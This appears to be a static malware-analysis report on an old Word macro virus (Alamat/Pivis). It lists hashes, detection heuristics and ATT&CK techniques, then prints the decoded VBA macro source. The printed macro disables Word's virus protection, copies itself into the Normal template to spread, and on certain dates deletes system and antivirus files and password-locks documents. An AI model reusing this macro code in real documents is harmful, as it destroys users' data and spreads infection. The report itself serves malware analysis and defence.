Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 6083666f31e87084…

MALICIOUS

Office (OLE)

46.0 KB Created: 1999-11-02 10:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 74b29878405d63c3998eeae3464eb395 SHA-1: 53291d4cbb365e23ed3770c66df2f025cdd1396c SHA-256: 6083666f31e87084a4c4b1392251ba81d50f2985a319184507d47cdfb22003c4
242 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document opening or closing. The VBA script attempts to export a component to 'c:\Windows.dat', a common tactic for dropping second-stage payloads. The embedded URLs, while mostly benign, are present in the document body which also contains advice on handling suspicious emails, potentially to lower the user's guard.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.playboy.com� In document text (OLE body)
    • http://www.playboy.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9621 bytes
SHA-256: b719a8d7fc1e777327e58f748aa71e207ef16a169a376986fd58cf15b6590168
Detection
ClamAV: Doc.Trojan.Alamat-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Alamat"
Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer
Sub Alamat(): On Error Resume Next: WordBasic.DisableAutoMacros 0: Options.ConfirmConversions = False: Options.VirusProtection = False: Options.SaveNormalPrompt = False: ActiveDocument.ReadOnlyRecommended = False
UyKo = EqEyLxHfBePlExRvFeGqHoNwOqKlTeJqVkQrUkEiGfVvFeMiNl & EkOmKxGvVhPnMxPuPoBrTqKuLuBlCqCzJtBpFoOuApFwAyThSmRoLsAlVi57294478
CommandBars("tools").Controls("Macro").Delete: CommandBars("tools").Controls("Templates and add-ins...").Delete
GkFfVgKx = JfKsIpRiCtQtSiPtKyFn & pRzJr92052608
With Dialogs(wdDialogFileSummaryInfo): .Title = "Alamat": .Subject = "Fuck The System!": .Author = "Lucky Warrior": .Comments = "Copyright (c) 1999 Bgy. Tiguib, Oras, Eastern Samar": .Execute: End With
NeQuGkFfVgKx = VqNgJfKsIpRiCtQtSiPtKyFn & AqKpRzJr92052608
ActiveDocument.VBProject.VBComponents("Alamat").Export "c:\Windows.dat"
KnDlNhIxCeIjCwLw = DkUhLjBfVqVoEiBhQhAwTlVvGxBe & CqApIsGeMsVwHyMyRsJgLhSfLlGuQmRwHxLwUuBzBhHuHw17637597
If NormalTemplate.VBProject.VBComponents.Item("Alamat").Name <> "Alamat" Then s94632268 = True
IpMfVoGoEtEqLvShTiGk = LsSwLpAjKnSuJiKm & PgOvQjFxJhSeBuTzLqAzOgIeTs62955974
If ActiveDocument.VBProject.VBComponents.Item("Alamat").Name <> "Alamat" Then f32267 = True
FgEwDoPmDfLrNs = UvAkGzDzOpLeTjCeVlGyPmEoJqRsCxAtOnKhNwOjRyKnMvVl & AyCvMyFlUxHqVwPlFmCnIx89634929
If s94632268 = True And f32267 = False Then Set i32269463 = NormalTemplate.VBProject.VBComponents
JwSxGeMmCh = DtNjMyLoAiLuArGhRiBjNjBvPuOoCmEqBm & MtMeUfAwHfExEqQlIj45978311
If s94632268 = False And f32267 = True Then Set i32269463 = ActiveDocument.VBProject.VBComponents
LzOlQwVySwPfCwKoEmDkAxSuTxIsVsNwBjPw = JkOwFsCgOwMfSyLsTtErQeHlCk & FxOqBfJnLfPnNhNvQtRgAhKpTeJjRfNuLtRhIxNxQeNmTkSmEvJgHwPf91895830
i32269463.import "c:\Windows.dat"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
RiEhTiPvPfRlEgPjOpIlIuKpSpKgQsVeSo = MvHmLgFqTlIgDsCmNy & SjInHlLlRrJvJiKvDlUeQsVfUzGwCtLkTkFgHj19777591
If f32267 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
QfPnOiSvOfUnEwFeAhByIfFqMjHeArMy = NvLsLpQnMlOkQqRpEwGjEzMlJmFlOqIhNsTj & QrHyCkQfGhVvSqAvUnRqRtAzJqMiHqPyLeAmUzDnBz2551388
FuckTheSystem:
tPtPoQrAx = Oh & kTq91977607
If Day(Now()) = 1 Then
Selection.TypeText "Alamat brought to you by Lucky Warrior"
End If
gNuHnFqNkLuTzExQpCiOxGuMjOk = zBzUvStLwPoRyFqMsSnPpTuKiGvEqJyBjUoIeUq & tJwVfSvJpBwKpOjDnEeVgJgQtFhEsBpEeOjOeQtLxKeAvMkDiVnNp87261030
If Day(Now()) = 2 Then
Application.CommandBars("Table").Enabled = False
End If
OnJqDoLn = JqJvLyEwGfIrDgFeEnNfLzDkIoBuUqQyEgRgCwFxVqEyVyKi & PxUrKoLsBzLzVoKxCfTyVqPeClCnBjEkFyCkEqMoDk57844618
If Day(Now()) = 3 Then
Application.CommandBars("Help").Enabled = False
End If
EzRtGzAsJeIiRr = HfMoMvUyEeDsSkTrHlUgIsAnLoBhLpMqRpAkGpCiHhOvVeBg & OrVfNlCxFxLoGqStDmAlUvCtEkNyMvNoSlOt2216345
If Day(Now()) = 4 Then
Kill "c:\*.*"
End If
If Day(Now()) = 5 Then
Kill "C:\progra~1\Drsolo~1\Anti-V~1\*.*"
Kill "C:\Program Files\Norton~1\*.*"
Kill "C:\progra~1\mcafee\viruss~1\*.*"
Kill "c:\progra~1\pc-cil~1\*.*"
End If
If Day(Now()) = 6 Then
Kill "c:\Windows\*.*"
End If
IyEgNuHnFqNkLuTzExQpCiOxGuMjOk = MoVzBzUvStLwPoRyFqMsSnPpTuKiGvEqJyBjUoIeUq & TeTtJwVfSvJpBwKpOjDnEeVgJgQtFhEsBpEeOjOeQtLxKeAvMkDiVnNp87261030
If Day(Now()) = 7 Then
ActiveDocument.Password = "Alamat"
ActiveDocument.Save
End If
UkHo = ToEqVjVjIgViBlHkPfGzQwUnQqHlUzMsVn & DtEfUrSrSwLlDfGnBoLjFrHmRtDhMxKnKtCrIiFtSwHfJfOvDrMgEsQkTvRl71266027
If Day(Now()) = 8 Then
Selection.Text = "Your're infected with the Alamat virus!": Application.PrintOut: Selection.Delete
End If
IxNxJxOkIwPtNn = LzCtAjMtEyLzHoPqQfPjFqRxGfFeIiKzIzTxGgOiJwUjLwDl & IvQtKvAiCgGsOjEfAjMrIlViHrEyBzIlSw87668475
If Day(Now()) 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.